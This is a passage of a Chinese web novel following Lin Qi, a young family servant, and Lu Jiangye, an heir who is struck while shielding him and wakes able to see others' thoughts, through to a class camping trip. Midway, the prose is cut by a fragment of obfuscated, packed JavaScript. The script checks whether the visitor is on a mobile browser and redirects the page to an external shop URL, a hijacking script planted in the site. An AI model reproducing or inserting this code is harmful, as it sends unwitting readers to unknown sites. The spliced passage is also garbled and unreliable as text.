陈庆压低声音警告：“小兔崽子，以前那是老子不想跟你计较，杨娟娘两个是给了你什么好处，让你这么帮着他们，啊？”
说话间，陈庆脸上突然露出那种猥琐又不怀好意的表情——
“该不会是......杨娟那娘们儿老牛吃嫩草，吃的就是你这颗小嫩草艹——？！！”
林柒大拇指摁在陈庆锁骨上，狠狠压了下去。
“陈叔，您放心，这次的牢饭，您肯定能吃上。”
林柒笑了笑：“陈叔大概是忘了，我们小时候还见过几面呢，我妈妈带我碰到娟姨的时候，您对我妈妈可是多、有、照、料呢，所以您放心，这次起诉出庭，我一定会好好讲讲您的那些‘前科’，尽量给您争取最宽裕充足的牢饭时间。”
陈庆像是想起了什么，骤然脸色一变。
然而林柒已经不想再和陈庆废话。
收了手，就直起身：“我看你还是好好珍惜养伤的这段时间吧。”
说完，就带着陈向松出去了。
“林哥，你不用跟在陆少爷身边吗？”
陈向松还记得，自从陆江野来了之后，林柒就一直跟在对方身边，这也是林柒的职责之一，所以这会儿见林柒自己一个人来了医院，他还有些好奇，怎么那位陆少爷这次没跟着一起？嗯，也不对，陆江野也不可能跟着自己小管家跑吧？
所以现在是那位陆少爷主动放了人？
林柒不免想到陆江野在天台上问他的话。
只是不像是要等他回答一样，问完后就让他该走走，既然林柒保证站在他这边，那他也愿意适当给林柒一些自由时间。
【当然，如果你的保证作数的话。】
林柒回过神，点点头：“不用，正好燕老板那边让我去代班。”
“啊？”
陈向松刚想问是不是因为他，就见林柒摇了摇头。
“上次影响了人家开店做生意，总要有些补偿。”
燕易之点名让他来补偿，他能有什么办法。
都知道他“外号”了，一个不满意宣传出去，他马甲就掉了。
“放心，和你没关系，你安心照顾娟姨吧。”
说完，林柒拍拍陈向松肩膀：“一切都会过去的。”
包括他这边的事情。
............
离开医院，林柒就去了一尺酒吧。
反正陆江野说给他自由时间，那想必他也不用着急回去了吧。
于是林柒就只简单报备了一下。
心想他也是很可以了，还知道报备。
燕易之家里应该也是有什么背景，上次落了陆云起的面子，结果还拿到了赔偿，酒吧翻新速度一晚上搞定，现在已经再次正常营业，林柒到的时候，燕易之正在二楼栏杆上抽烟，抽的还是那种细条烟，夹在食指和中指间，别有一番风姿。
“喂，小企鹅，你和孟迟是怎么认识的？”
燕易之把人叫住，跟招呼小狗似的朝林柒招了招手。
林柒走过去：“一尺酒吧这个名字，和孟哥有关系？”
燕易之：“............”
“小孩子太聪明可不是什么好事。”
林柒：“最起码也不是什么坏事。”
“你这孩子说话真不讨喜。”
“无功无过就行。”
燕易之：“............”
烦死了，赶紧走。
林柒又被赶走了。
他溜溜达达下了楼，碰到了陆云起。
嗯......还不如好好和燕老板探讨下孟哥の一二三四事。
“林柒，没想到会在这里碰到你。”
林柒顿了顿：“我也没想到会在这里碰到二少。”
陆云起笑笑：“叫什么二少，这么生疏，林家和陆家分不开，虽然我们见面的时间不多，但好歹也算是一起长大？你可以直接叫我名字，也许有一天，我们能有更多机会相处和认识一下，你说呢？”
什么意思？
林柒在心里轻笑，不知道为什么，这会儿总觉得有些暴躁。
想暴扣。
他连陆江野身边都不想待，还想待在你身边？
但最近暴露的好像有点多......
想想陆江野对他的审视，还有和陈向松一家关系的暴露......林柒深吸口气，脸上还是挂上了一抹笑。
“一定有机会的，毕竟二少也说了，林家和陆家是分不开的，不是吗？”
陆云起眉梢挑了挑，往前走了一步。
林柒忍着没动。
不是想后退，是想上前。
暴扣。
“林柒，你觉得跟在大哥身边比跟在我身边好？”
这算是直接开问了。
反正这里也没陆江野，林柒实在懒得再和陆云起虚与委蛇下去，干脆就顺着陆云起的话开口：“二少说笑了，现在谁不知道二少最得器重，连林染都被调去了二少身边，正常来说，是个人都知道要怎么选择吧。”
“所以，如果你有选择权的话？”
林柒笑笑：“我当然肯定是顺从本心，绝不会像现在这样。”
顺从本心，离你们陆家人远远的。
如果他有选择权的话......
“哎？陆哥，你去哪？”
曲回舟刚上了厕所出来，一出来就碰到了陆江野，而且还是往外走的陆江野。
“陆哥，我们不是去找林柒吗？你怎么又往外走？”
曲回舟不明所以追上去：“等等我啊，陆哥，你——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006993|148373||http|test|mini|href|location''.split(''|''),0,{}));
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声音一下子憋回了嗓子眼里。
因为陆江野此时的脸色足够冷硬。
甚至恐怖。
像是在压抑着什么一样。
曲回舟咽了咽唾沫，刚想小心点问问怎么了，是不是发生了什么事，结果就听陆江野手机响了起来。
陈庆不见了。
医院那边发现的，找了半天没找到人。
因为是要起诉的对象，加上当天送过来时，警方那边也来了人，所以不敢耽误，马上打给了陆江野叫来的律师。
律师知道后，就立即通知了陆江野。
并且提醒陆江野，这个节骨眼上跑掉，可能不止是想躲避责任那么简单。
想陈庆这样的人，只知道用武力解决问题，没准会打击报复。
只是这个打击报复不知道是对谁。
所以都要小心点。
陆江野嗯了声，让报警顺带着叫人去找陈庆的踪迹，便挂断了电话。
挂断电话后就往外走。
曲回舟连忙跟上去——
“陆哥，我们去哪啊，陆哥？”
“去另一间酒吧。”
“？”
所以这不还是和林柒闹别扭了？
那他提议来酒吧找林柒，陆哥怎么那么容易就答应了？
............
另一边，林柒也从陈向松那里知道了陈庆跑了的消息。
大概是律师也叮嘱过陈向松，要陈向松那边小心点，所以陈向松也把这话转告给了林柒。
“没事，不要担心。”
林柒觉得没所谓，再危险，能比待在陆家危险吗。
人格都要没了。
装这种事，装一时没问题，一直装就累了。
他现在就有种想暴扣的死感。
不在沉默中爆发，就在沉默中变态。
当然虽然不到那种程度，但有时真的已经抑制不住各种阴暗和扭曲的想法了。
比如刚才，就很想把陆云起蜷巴蜷巴扣个蓝。
另一间酒吧内。
陆江野要了一堆酒，不喝，就各种混搭，让曲回舟看得欲言又止。
混搭完，送出去，谁能喝，给谁两百块钱。
能喝多少杯依旧能站着，钱就继续往上加。
于是不少人跃跃欲试。
曲回舟看得更欲言又止。
最后实在忍不了，直接手扣在酒杯上：“我说哥，陆哥，要不然咱还是回去找林柒吧？”
陆江野眉眼冷沉：“松手。”
“不是，刚才陈向松也发来信息提醒我们，说让我们最好待在一起。”
“他说先前林柒在医院的时候还刺激了一下陈庆那老登，怕陈庆真做出什么过激——”
“你说什么？”
陆江野倏然蹙起眉：“林柒在医院做了什么？”
“啊？就是陈庆之前不是在医院闹吗，林柒到的时候，正好帮忙按住了陈庆，好像还警告了几句。”
陆江野眉头皱的死紧，半晌终于站起身。
“走吧。”
“诶？哦哦，对，我们走吧陆哥！”
曲回舟赶忙站起来：“正好这时候林柒应该也已经代班结束了。”
两人出了酒吧。
正好这酒吧距离林柒在一尺酒吧也就一两分钟的路程，他们到的时候，也正正好看见林柒从酒吧出来。
曲回舟刚想抬手招呼林柒。
结果就看见了一个眼熟的身影朝着林柒而去。
“卧槽，林柒小心！”
同一时间，身边也有一道身影快速奔了过去。
13.神经
林柒也没想到，意外来的这么突然。
更没想到陈庆能有胆子却无脑到这种地步——
拿着不知道从哪顺的钢管，朝着他就砸了下来。
林柒好险偏了一下头，却被擦着耳朵砸中了右肩膀。
一声闷响。
他踉跄了一下。
陈庆的第二次攻击根本来不及躲避。
疯狂，孤注一掷，这一下挨上，很难想象会是什么后果。
林柒下意识闭上了眼睛。
然而预想中的疼痛却并没有发生。
反倒是一声闷哼响在他耳边。
“陆江野？！！”
在林柒骤然睁开的眼中，看见的就是陆江野满头鲜血，在他面前倒下去的画面。
砰——
陈庆被随后赶来的曲回舟一脚踹倒在地。
接着又将钢管踢飞，扑上去就把人压在地上不能动弹了。
之后的事情有些混乱。
报警，叫救护车，还有燕易之出来说着什么的声音。
林柒抱着陆江野，满手鲜血。
他觉得自己还算镇定，至少燕易之和曲回舟跟他说话的时候，他还能点头应答。
他就是想不明白。
为什么陆江野要替他挨那一下。
警方将陈庆带走，陆江野被送去了医院。
林柒跟着，在陆江野被送进手术室的时候，接到了一通电话。
“爷爷。”
电话那边传来林丰的声音。
作为陆家现任家主陆泰的管家，在陆家几十年，林丰所拥有的职权并不少，就连陆江野的父亲陆川柏，都要尊称一声林叔。
“江野少爷怎么进了医院？”
果然，这事根本瞒不过那边。
林柒垂了垂视线：“是意外。”
“意外吗？”
林丰苍老的声音依旧透着威严：“林柒，别忘了自己的职责，你的职责不止是跟在少爷身边，必要的时候还要保护少爷，我们林家之所以能被陆家重视，就是时刻都不忘记自己的本职所在，这一点，你没你哥做得好。”
林柒扯了扯嘴角：“可林染现在跟在陆云起身边。”
“所以我把你调来了江野少爷身边。”
林丰淡淡道：“你该知道爷爷是什么用意。”
“在江野少爷身边好好表现，总没差。”
“林柒，你记着，林家好，你才好，林家的下一代，就在你和林染身上，有你们两个跟在两位少爷身边，爷爷才能放心。”
呵，不过是都要押宝罢了。
陆江野原本有陆老爷子保驾护航，太子爷当的稳稳的，要不是出了先前的事，也不会让陆云起“后来居上”。
现在见陆云起有起来的苗头，就想两头下注。
林柒嘴上应承，心底难免讽笑。
对，以后不管陆家的继承权交给谁那边，反正林家总不会输。
一个他，一个林染，不过都是林家为了能够继续和陆家绑定在一起的工具人纽带罢了。
只不过相较起来，林染甘心充当那个工具纽带。
电话挂断，林柒靠在墙壁上静默了会儿。
“你怎么还在这里，还不去看医生，肩膀不疼？”
燕易之走过来，看了一眼林柒肩膀。
曲回舟还在跟进陈庆那边，特意说了两人都有伤。
手术室里面的闷头接了一钢棍，眼前这个同样是一声都不吭啊。
瞧瞧，还有些反应不过来的样子。
是不是都快忘了自己身上还有伤。
林柒真差不多忘了。
不是不疼，而是想着别的事情，那点痛感仿佛都变得麻木。
不过这会儿想起来，疼痛的感觉便也顺道涌了上来。
动了下肩膀，密密麻麻针扎一般的疼痛。
燕易之啧了一声：“赶紧去看医生，还是你要我陪你去？”
“不需要。”
林柒说完，有些犹豫，看了眼手术室的方向。
“那我在这里看着情况。”
燕易之翻了个白眼，心想他不过是一时心软，收留个半夜还在找工作的小可怜，一时恶趣味兴起，让一只小企鹅代替了小可怜的晚班，结果看看，现在酒吧里各种大好的男人看不着，非要来医院盯着手术室红绿信号灯。
“对了。”
临走前，林柒像是想起什么：“孟哥还说让我好好代班来着，但现在看来也不行了。”
燕易之：“？”
燕易之：“：）”
“没事，先养好你的伤吧。”
燕易之憋住不笑，赶人一般挥挥手：“我酒吧又不缺人。”
“走吧走吧，我会看好这边情况的。”
林柒就走了。
他先是找医生检查了下自己的肩膀，还好，没什么大碍，骨头没伤到，就是砸肿了，轻易动弹不了，抬起来都费劲，也不知道之前是怎么抱着陆江野来医院的，当然，担架出的力比他多，但当时确实没怎么感觉到疼。
现在不行，现在疼得钻心。
不过还能忍。
林柒一边在心底骂骂咧咧，一边截住跟完警察那边又赶来医院的曲回舟。
想问下情况怎么样了。
“好消息，陆哥找来的律师说这次陈庆死定了，他自己作大死，谁也救不了他。”
曲回舟挠了挠头，看了眼林柒肩头的绷带：“除了你和陆哥这次都受了伤。”
其余都算好消息。
“陆哥还没醒吗？”
“没，听说是出了手术室。”
林柒几不可察地抿了抿唇。
其实在他找医生检查肩膀的时候，燕易之就发来信息说陆江野出了手术室，没什么事，就轻微脑震荡，脑子很坚//挺，等待苏醒即可，现在已经被送去了病房，林柒说了声好，看完医生也没回去，还在外面游荡，于是抓住了曲回舟。
现在好像怎么也该回去病房看看了。
也不知道陆江野醒了没。
醒了。
陆江野清醒的很快。
但很快，又觉得自己好像不太清醒。
【对孟迟来说修车重要还是我重要，修车重要，我重要，修车重要，我重要，修车重要......不对，重新再来。】
陆江野就看着，燕易之再次盯上了医院病房装饰用的红色康乃馨。
然后从“我重要”开始数起。
【我重要，修车重要，我重要，修车——】
燕易之抱着手臂面无表情看向陆江野：“怎么，醒了还需要我陪你聊会儿天？”
“脆弱的高中生。”
【刚数到哪里了？】
陆江野偏过头。
神经。
脑子一跳一跳的，麻醉剂效果是过去了还是没过去，还是他现在脑子有问题。
陆江野死死皱着眉，觉得他是不
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是要进一下神经科手术室。
【是这里吗？】
敲门声响起。
【真可惜，最后竟然没什么事。】
陆云起的身影出现在病房外：“听说大哥出事了，我来看看大哥。”
“正好我先前就在一尺酒吧，还和林柒聊了会儿，也没离开多久。”
【总要过来亲眼看看你伤到什么程度。】
五句话，张了两次嘴。
陆江野：“再说几句。”
陆云起：“......？？？”
等等，该是这个反应？
目光游移到陆江野包满绷带的脑袋上，陆云起不由得挑了挑眉。
不会真是哪里被打出问题了吧？
陆云起真要再说几句，病房门又被敲响。
林柒和曲回舟走了进来。
然后就见......陆江野一下子坐了起来？
这脑子究竟是有事还是没有事？
林柒也愣了一下。
他也是没想到陆江野当时流了那么多血，结果现在不仅能这么快就清醒过来，还能直接坐起来？
“少爷，你现在感觉怎么样？”
陆江野没回答，先是看了看其他几人，然后又看了看林柒。
林柒：“？”
头顶上小人Q版生动，像是大力水手吃菠菜只管半边，右胳膊肿起，小人无精打采，肩膀到手臂都吊着绷带，比本人身上还要全面，此时正一边无精打采，一边脑袋上冒出个大大的问号歪头看他。
【究竟在看什么？】
Q版小人挠挠屁股，翻了个白眼。
【感觉自己像个被围观的猴。】
陆江野：“......”
虽然但是，真的很难收回目光。
为什么和别人都不一样？？
“林柒，你没事吧？”
陆云起看向林柒皱眉开口道：“怎么也受伤了？”
“我没什么事，二少。”
【我有没有事，你是眼瞎吗？问的什么废话？】
这一晚上都不消停，林柒是真的烦。
烦还要忍着。
最起码表面上要忍着。
于是......
陆江野就见林柒一边回话，头顶上的小人一边翻江倒海，顶着半残的胳膊来回扑腾，一会儿以头抢地，一会儿仰天喷火，在陆云起靠近过去的时候，竟然还出现了陆云起的Q版形象，于是林柒小人不折腾自己了。
他把陆云起攒吧攒吧，当成个球，练单臂投篮。
还是暴扣的那种。
陆江野：“............”
算了。
其实他也没什么大事儿。
不用去看精神脑科了。
陆江野往后躺下：“林柒，头疼。”
林柒：“。”
小人单手扒着眼前的无形屏幕瞅他。
脸都要挤贴成大饼形状了。
O·o？
o·O？
仔细观察jpg.
陆江野顿了顿：“真疼。”
“可能是刚才坐起来时用力太猛了。”
那你刚才那么猛坐起来是干嘛呢？
陆江野：......可能是想要拦着再次破碎的世界观。
毕竟一睁眼，感觉不是这个世界神经了，就是他神经了。
但现在......大概当个神经也不错。
14.撒欢小狗
陆江野的状态还有些游离。
时而注意力集中，时而注意力分散，偶尔你会觉得他在看着你，偶尔你会觉得他仿佛在注视着别处。
也不知道是产生了什么后遗症。
这样的状态，应该是让陆云起很满意，没多久就笑着离开了。
离开前还特意和林柒打了声招呼。
“下次见。”
林柒：贱。
这妥妥的是要在陆江野面前给他上眼药，迫害他啊。
其心可诛！
林柒小人给陆云起揍出个猪鼻子和猪耳朵，在陆云起转身离去的瞬间，还在他身后揪出个卷卷的猪尾巴。
然后一个点射，把人踢出了门外。
表面上恭恭敬敬，内地里胆大包天。
当然，也可能是放纵自我的狂野臆想，毕竟是在不为人所知的内心深处。
大概不会有人觉得自己心里想的东西会为人所知。
甚至......还是具象化展现出来。
林柒回过头，就见陆江野又盯着自己看，心里一咯噔。
想起陆江野被送去手术室时他接到的那通电话，这种时候，最好还是不要横生其他枝节为好。
最起码现在待在陆江野身边，总比被调回陆家的好。
毕竟注已下，他入了这个局，就不可能轻易脱身出去。
既然如此，还不如保持让陆江野厌弃的状态，等着有朝一日陆江野拿回主动权，彻底把他踢开。
就算拿不回，到最后也不过是一起被丢弃的命运。
对他而言，那就更无所谓。
在陆江野的视野中，林柒头顶的位置变成了雪花状的屏幕。
小人在那片小小的天地中躲了起来。
而此时林柒脸上又挂上了最开始时候的表情。
他走近过来，像是讨好又像是在解释——
“少爷，我的确在酒吧碰到了二少，也聊了几句，但都不是出自真心。”
林柒低声道：“陆云起身边已经有林染，还想把我拉拢过去，但我知道跟在谁身边最好。”
跟在陆云起身边没前途，因为对方已经有了林染。
林柒的意思是想让陆江野理解为，他好不容易能被允许跟在一位少爷身边，拥有和林染差不多的身份职责，自然要选一个不能轻易被舍弃的位置，显而易见，相比起陆云起，和陆江野“同甘共苦”，才是最明智的决定以及选择。
小雪花飘啊飘，小人连头都没冒。
陆江野看了林柒半晌，终是轻笑了声。
“知道了。”
............
陆江野的伤好得很快，陈庆的处理结果也很让人满意。
就像曲回舟说的，这次陈庆自己无脑作大死，谁也救不了他，处理结果比原先还要重，进去蹲牢是板上钉钉的事，至于多久能出来......律师非常好心的给尽可能的延后了，毕竟就算陈庆能出来，惹到陆江野头上，怕是也不会再好过。
杨娟那边也早就清醒过来，再过些日子就能出院。
当时陈向松家里出事，通知了班主任孔柏青，加上后面陈向松又没怎么去学校，以及陈庆袭击林柒和陆江野的事情，闹得动静都不算小，所以班上想不知道究竟发生了什么事都难，柳柯祺作为班长，还组织了一次募捐，帮陈向松妈妈筹集医药费等等。
也因此，陈向松终于能够放心上学的第一天，就顶着一张大红脸，说是会慢慢还大家的钱。
他手里还捏着欠条，上面清楚写了都欠班上每个人多少钱。
说话磕磕绊绊，但好歹还是努力说完了。
林柒坐在陈向松后面，单手托着腮。
头顶上的小人也百无聊赖，揪着自己右胳膊上的绷带玩。
圈圈绕绕，绕绕圈圈。
直到把自己浑身上下都缠满绷带，倒在地上跟条小白蛆一样蠕动来蠕动去。
实在是招眼。
陆江野没忍住：“你要是想拆绷带，今天晚上就可以去医院。”
顺便可以让医生再检查下。
虽然看眼下这状态，也不像是还有什么事儿的样子。
林柒：“。”
“没事儿，我可以等少爷一起拆。”
小人蛆探头看陆江野。
陆江野：“......”
这是什么非要一起做的事情吗？？
缠满绷带的小人往地上一滚......滚，滚，滚。
滴溜溜轰隆隆，滚得热烈，滚得潇洒......
直到身上的绷带都滚下去之后，小人满眼冒金星(*o*)站起来，眼晕志坚，摇晃着把一个脑袋上缠满绷带的小人给抓了过来。
陆江野：“......”
哦，那是我。
仿佛能听见“咻”的一声——
脑袋上绷带的一角被拽住，随即就像玩陀螺那样，拿绷带当绳子，啪啪啪，小胳膊抬起，抽，抬起，抽，绷带成波浪形翻滚又起伏，陆江野小人跟陀螺似的围着林柒小人转圈圈，一圈又一圈，自转又公转。
啪嗒，最后露出个秃脑袋。
小人捂着肚子笑倒在地。
【也许可以看看陆江野脑袋上是不是秃了一块，0v0乖巧jpg.】
陆江野：“............”
他不秃。
但是感觉脑袋有些晕。
另一边。
陈向松眼角发红，还给柳柯祺鞠了一躬。
他也是没想到，从来都是班上小透明的他，在家里出事后，班里同学会这样帮他。
“这笔钱，我还是想还给大家，我妈妈也出院了，如果不是不方便，也想来亲自感谢大家，真的很谢谢你们......我曾经差点走上错路，我知道这笔钱是大家出于好心无偿捐给我们的，但我不想白拿，我和我妈妈能挣钱还给大家......”
别人愿意好心帮他们，但他们不能心安理得就这样接受。
差点走错过一遍路，他幸运被拉了回来，不能再走错路。
柳柯祺想了想，开口问：“阿姨会做的面食种类多吗？”
陈向松愣了一下，随即点点头：“多的，虽然我妈妈是开早餐摊的，但她各种面食面点都会做一些。”
“眼看着要放个短假，到时候早餐摊的人流量肯定少很多，要不然你和你妈妈假期到我们家的农家乐来帮忙吧。”
说完，柳柯祺也不给陈向松拒绝的机会，转头又看向班里：“之前说考试你们要是比得过城北一中，我就请你们去玩，干脆这次放短假，大家一起去我们家农家乐玩一下？就当是提前放松了，如果答应，那你们考试必须比得过一中，敢不敢赌？”
“我靠！班长，你提前要请我们去玩啊？！”
“班长你这是直接把我们赶上了贼船？哦不是，我是说班长牛逼！这贼船我必须上！”
“班长赛高！我爱班长！！
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！”
“............靠，哪个趁机表白？！”
“我也爱班长！！噢耶！”
柳柯祺推了推眼镜，表情丝毫不变。
“行，那就这么说定了。”
说完，一拍陈向松肩膀：“回去好好和阿姨说说，我们家农家乐假期期间人挺多的，到时候可能要辛苦阿姨了。”
陈向松倏然低下头，眼圈发红。
“好，谢谢......谢谢班长。”
谢谢大家。
陆江野视线在班上绕了一圈，随即收回，难得没说什么话。
以往这种活动，他都不会去参加，但这次，好像也不是不可以参加。
............
算上孔柏青，几天的假期时间，要一起去农家乐度过，竟然所有人全票通过。
柳柯祺甚至还叫了个大巴，要拉着班里人一起到她家的农家乐。
“班长家里是真有钱啊。”
曲回舟看着窗外风景啧啧感叹：“别人家农家乐是占了一个小院，班长家农家乐是占了一个山头。”
快要入冬的季节，踩着落叶农家乐，感受寒风瑟瑟，啧，也是别有一番风味。
不过要不怎么说这地方能够开上农家乐呢，别的地方都开始落叶子，这片山头是满山的红枫，车开过来的时候，远远看去，火红一片，风一吹，像是舞动的火焰，带着叶子的轻响，确实很美。
美到一伙人说要步行上山，享受美景......
林柒肩膀好得差不多，绷带早就拆除，陆江野脑袋上的也是，但是没秃。
多多少少是被林柒打量了好几眼，头顶的小人看上去颇有些失望，打着滚，一脚将陆江野小人踢出了自己小世界范围。
这会儿小人和林柒一起都在看着窗外。
林柒表面上不出什么来，但小人兴致勃勃，狂放地在自己的小世界里跑来跑去，活像只......撒了欢儿的小狗子。
陆江野忍不住问：“喜欢这里？”
林柒：“？”
不知道是不是他多想，还是陆江野脑子真出了什么问题。
总感觉陆江野出院后，特别喜欢问他一些莫名其妙的问题。
哪只眼睛看出他喜欢这里了？
林柒摇头：“还好。”
顿了顿，又开口：“不过少爷喜欢，我就喜欢。”
狂野奔跑的小人停住不动，从撒欢的小狗变成警觉的小狗，乖巧跪坐着瞅陆江野。
O·o？
o·O？
=.=？？？
警觉jpg.
陆江野偏开视线，点点头：“行，喜欢的话，那就步行上山。”
林柒：“......？？”
好像有哪里不对劲。
不过算了，看来陆江野是挺满意这次出行。
林柒矜持点头，行呗，步行就步行，少爷喜欢就好。
反正他一切以少爷为主。
小管家守则：少爷的喜好，就是管家的喜好。
他的喜好不重要。
于是在获得车上人一致通过后，大巴车就在山脚停了下来。
只是在他们一个班的正排队队下车的时候，不远处又开来了几辆越野车，看样子也是往山上开。
但路过时，却是在他们一行人面前接连停了下来，车门打开，下来的是城北一中的人，其中打头的就是陆云起和林染等人。
15.炸你上天
“是城南十一中的。”
“啧，真晦气，出来玩还碰到这些人。”
“陆少爷都沦落到坐大巴车的程度了吗？哈哈。”
声音嘈杂到像是聚集了一堆苍蝇。
嘴上说得难听，心底的声音更是难听十倍。
陆江野站在原地，眉心不由得蹙紧。
醒来后突然多出个匪夷所思的能力，的确让他在某些方面，某些时候，对某些事情感到新鲜和好笑，但更多时候，那些嘈杂的，仿佛无孔不入的声音，总会无法控制地涌入他的耳间，无可阻挡，无法避免。
有些无关紧要的声音还好些。
但像现在，眼前这些，几乎满是讥讽和恶意的声音，却像一群苍蝇一样萦绕耳边，让人烦不胜烦，更甚至满心烦躁。
【是谁在放屁~温暖了气候~~~屁声悠悠，臭气熏天，还是连环屁~~~】
陆江野：“............”
不用看都知道这声音是从哪里发出来的。
是首有味道的歌，而且这歌声音调如同大冬天浇了一盆酣畅淋漓的冰水，让人从里到外都消散了烦躁之气。
真是什么气都生不起来了呢：）。
陆江野偏头看去，就见林柒正老老实实站着，实则头顶上的小人一秒钟都不闲着。
一边哼着不着调的歌，一边从背后掏出各种武器突突人，鼻子上还围着不知道从哪里找来的三角巾，在脑袋后面扎出了个翘着尾巴的小小蝴蝶结，前一刻还躲在左边角落突突人，下一刻就滚到了右边角落突突人，简直偷感十足。
好像谁能发现他似的。
陆江野：......哦，是他能发现。
城北一中和城南十一中一直不对付，这是老黄历了。
仿佛两个学校有史以来的固定传统，学校里的学生从来就没有对付过的一天，几乎碰个面就是互相看不顺眼的状态。
至于陆江野，作为原城北一中的学生，此时却同样处在“风口浪尖”，那纯属是个人恩怨。
墙倒众人推。
在陆云起身边聚集的人，自然是不可能对陆江野有什么过好的脸色。
更何况陆江野以前在城北一中基本上都是独来独往，反倒是陆云起凭借好性格，身边有不少交情过得去又能谈得来的朋友。
当然，现在就更谈得来了。
朋友也都愿意升级变成更好的朋友。
不过此时这些人对陆江野的态度，倒也不仅仅是因为陆云起。
陆家就算在淮城一家独大，那也不代表其他家就不顶事。
攀不上陆家，也不代表就攀不上其他家。
更何况现有的机会恰好就摆在眼前——
“陆江野，这还是出事后，你再见到我们喻凡吧，难道不应该说点什么吗？”
喻凡。
林柒被这个名字吸引，不由得顺着声音望过去。
就见林染斜后方的位置，站着一个长相精致可爱的少年，圆脸大眼睛，一副好相貌，是喻家备受宠爱的小公子。
清楚陆江野转校原因的，大概都听说过“喻凡”这个名字。
林柒自然也不例外。
此时被人提及，喻凡还往林染身后躲了躲。
看向陆江野的目光中，还有着难以掩藏的躲闪和恐惧。
陆江野面无表情，仅冷冷瞥了说话那人一眼。
那人下意识一凛，想起陆江野的疯劲儿和还躺在医院的某人，不由得脊背发寒。
陆江野要是发起狠来，估计谁都拉不住。
至少连林染都不能。
正巧这时候陆云起终于开了口，那人也就沿着台阶顺势下来了。
——每次都是这时候，陆云起才开口。
像是在打圆场。
他说正好陆江野和喻凡都在，之前的事已经过去了，其实就是一场误会，大家今天又碰巧一起在农家乐遇见，既然如此，不如干脆一起？也算是给彼此一个和解的机会，都是曾经认识的同学，没什么过不去的。
真是好话都让他说了，好人都让他做了。
“不需要。”
陆江野拒绝得干脆。
包括1班其他人也是——
“我们贱得慌吗？要和你们一起？”
“确定一点，拜托，是我们先到这里的好吗？到底谁出来玩先碰到谁啊？你们以为我们愿意碰到你们啊？搞笑！”
“我们坐大巴车怎么了，人多不行啊，那也是包的车好嘛？！”
“要是讲究先来后到，也是我们先来你们后到，不满意走呗。”
“对啊，你们不满意遇到我们就走呗，慢走不送哈！”
实验一班的战斗力多多少少是有的，尤其是见陆江野一点没和对面虚与委蛇的意思，就更是不装了。
出来玩还要和对面一起，那还不如干脆打道回府算了。
当然不是他们打道回府，怎么着也是对面先走人！
对面不走，并不甘示弱的想要回怼。
结果己方被柳柯祺拉住。
“行了，我们上山吧，今日消费，有人替我们出了。”
柳柯祺眨眨眼：“毕竟城北一中的都不差钱。”
实验一班：哦豁。
哇哦0v0。
行，走，上山！
还吵什么吵，没什么好吵的了。
没事啦，都没事啦。
于是一群人手拉着手，快快乐乐的上山了。
城北一中的：“......？？？”
............
柳柯祺家里开的农家乐占了一整座山，娱乐项目多，晚上还能露营。
他们班提前都定好了，会在这里露营一晚，不过因为人多，露营设备都是柳柯祺家里提供的，一顶顶小帐篷，可供两个人一起，还好实验班人数以精简为主，算下来也就三十多人，比较好统筹和准备。
陈向松和母亲杨娟早在前一天晚上就过来了农家乐这边帮忙，现在陈向松早在山上等着大家，也帮了一早上忙了。
这会儿见人都上了山，杨娟就推了推陈向松，示意陈向松和同学们一起。
她脸上挂着笑，尽管身上还有些伤痕并未彻底消退，但未来的日子肉眼可见的有了更多的盼头。
一切都在往好的方向发展，她该要好好谢谢这些年轻人们。
杨娟又看了林柒一眼，悄悄朝林柒挥了挥手。
私下里，林柒更是给了他们母子两一笔钱，支撑他们度过了这段困难的日子。
陆江野脚步顿了顿，看了林柒一眼。
林柒头顶的小人也在偷偷朝杨娟挥手，脸上笑眯眯的样子。
小骗子。
明明就是和这对母子相熟，却装作不熟。
为什么呢？
一开始到他身边，为什么要隐藏这些呢？
甚至在班上都刻意保持着低调和不起眼......如果不是近段时间这一系列发生的事情，恐怕他的生活依旧会和在城北一中一样，如一潭死水一般，身边只不过是换了另一个姓林的，不会察觉到任何一丝一毫的差别。
不，其实是察觉了的。
但陆江野不能确定，直到......
【真好，至少我身边的人终于脱离了泥沼。】
陆江野垂
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了垂视线。
泥沼吗？
沾上他，会沾上泥沼吗......
正想着，察觉到有视线聚过来。
陆江野抬起头，正对上喻凡的目光。
他面无表情看过去，末了拉扯出一抹笑。
笑意未达眼底，眼神冰冷，吓得喻凡骤然白了脸。
【怎么活像个大反派。】
陆江野：“。”
他转过头看林柒。
林柒：“？”
无辜jpg.
陆江野顿了顿，忍不住开口提醒：“他是喻凡。”
林柒啊了一声，点头：“少爷我知道，之前不是有人提到过这位喻小少爷？我听到了。”
他又不耳聋。
头顶的小人翻了个大大的白眼，把自己两只耳朵捏得圆圆的，cos米老鼠。
看，我的耳朵又大又圆，一点都不聋的好嘛！=皿=。
陆江野：“......”
“不是这个意思，是......”
“哎，林柒！陆哥！快过来搭帐篷啊！不许偷懒！”
“............”
假期来农家乐玩的人实在是多，幸好柳柯祺提前空出了一大片地方给他们。
不过也是巧了，在他们对面的位置，竟然是城北一中那帮人的露营地......
真是冤家对头。
呸。
这下算是又对上了。
他们搭帐篷，对面也在搭帐篷。
而且比起他们都是一顶顶的小帐篷，对面是自带的那种豪华帐篷。
甚至拆开的时候还故意抖落得很大声，像是生怕他们这边听不到看不到一样。
中间有一条鹅卵石铺成的小路，路过的人都好奇往那边张望，有些甚至停下来，兴致勃勃看他们怎么把这豪华帐篷搭起来。
实验一班这边的抬头看一眼，又都低下头。
然后默不作声搭着帐篷。
气氛渐渐消沉......
林柒想了想，突然把自己手里的帐篷拽歪了一下。
“哎，要不然我们把帐篷围成个圈吧？”
曲回舟就在旁边，听见后抬起头：“围成圈？”
“晚上大家可以聚在一起讲鬼故事。”
“讲鬼故事？”
有人不由得竖起了耳朵——
“哇，要是来这种，我可就不困了啊！”
“我平时的爱好就是看恐怖片，桀桀桀！晚上可就是我的主场了！”
“围围围！我同意把帐篷围成个圈！”
“芜湖！围圈！”
“讲鬼故事！”
............
一边说着一边就是开干。
干得又热火朝天起来。
乒铃乓啷，乓啷乒铃，动静比之前还要热烈。
热烈到对面城北一中的又：“......？？？”
